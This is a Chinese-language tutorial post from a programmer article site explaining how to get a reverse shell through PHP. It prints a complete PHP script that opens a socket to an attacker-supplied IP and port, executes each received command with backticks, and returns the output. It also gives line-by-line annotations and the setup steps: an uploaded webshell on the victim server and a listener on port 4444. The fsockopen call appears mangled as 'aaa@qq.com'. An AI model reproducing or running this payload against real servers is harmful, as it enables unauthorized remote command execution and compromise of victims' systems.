欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP反弹shell(巨细教程)

程序员文章站 2022-05-15 20:26:31
...

步骤详解:
前提:
①、PHPStudy开启相关服务。
②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。
③、攻击机器和受害服务器要处于同一网段。
1、划线为攻击机的IP+端口。
PHP反弹shell(巨细教程)2、攻击机监听自身端口4444,即可获取执行shell。
PHP反弹shell(巨细教程)

<?php 
set_time_limit(0); 
$ip=$_POST['ip'];
$port=$_POST['port'];
aaa@qq.com($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
	fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
	while(!feof($fp)){
	fputs($fp,"shell:");
	$shell=fgets($fp);
	$message=`$shell`;
	fputs($fp,$message);
	}
fclose($fp);
}
?>

代码注释:
1、set_time_limit()来控制运行时间。如 set_time_limit(800) ,其中将秒数如果设为0 ,表示持续运行到程序结束。
2、$_POST['ip'] $_POST['port']表示传递的攻击的IP,PORT。
3、aaa@qq.com($ip,$port,$errno,$errstr); fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@屏蔽报错信息,返回一个文件句柄$fp,可以被其他文件类函数调用,例如代码中的fputs(),fgets()
4、判断$fp是否存在,不存在报错echo "error",存在就使用fputs()函数写入连接成功信息。
5、feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
6、fputs($fp,"shell:");向句柄输出shell:的提示
7、$shell=fgets($fp);将攻击机输入命令通过文件句柄$fp传递入受害机器,同时使用fget()函数读取输入的命令,最终传递给$shell变量存储。
8、$message=`$shell`;php默认将反单引号的内容作为系统命令执行。
9、fputs($fp,$message);将结果输出至攻击机端显示。
10、fclose($fp);关闭文件句柄。

相关标签: php反弹shell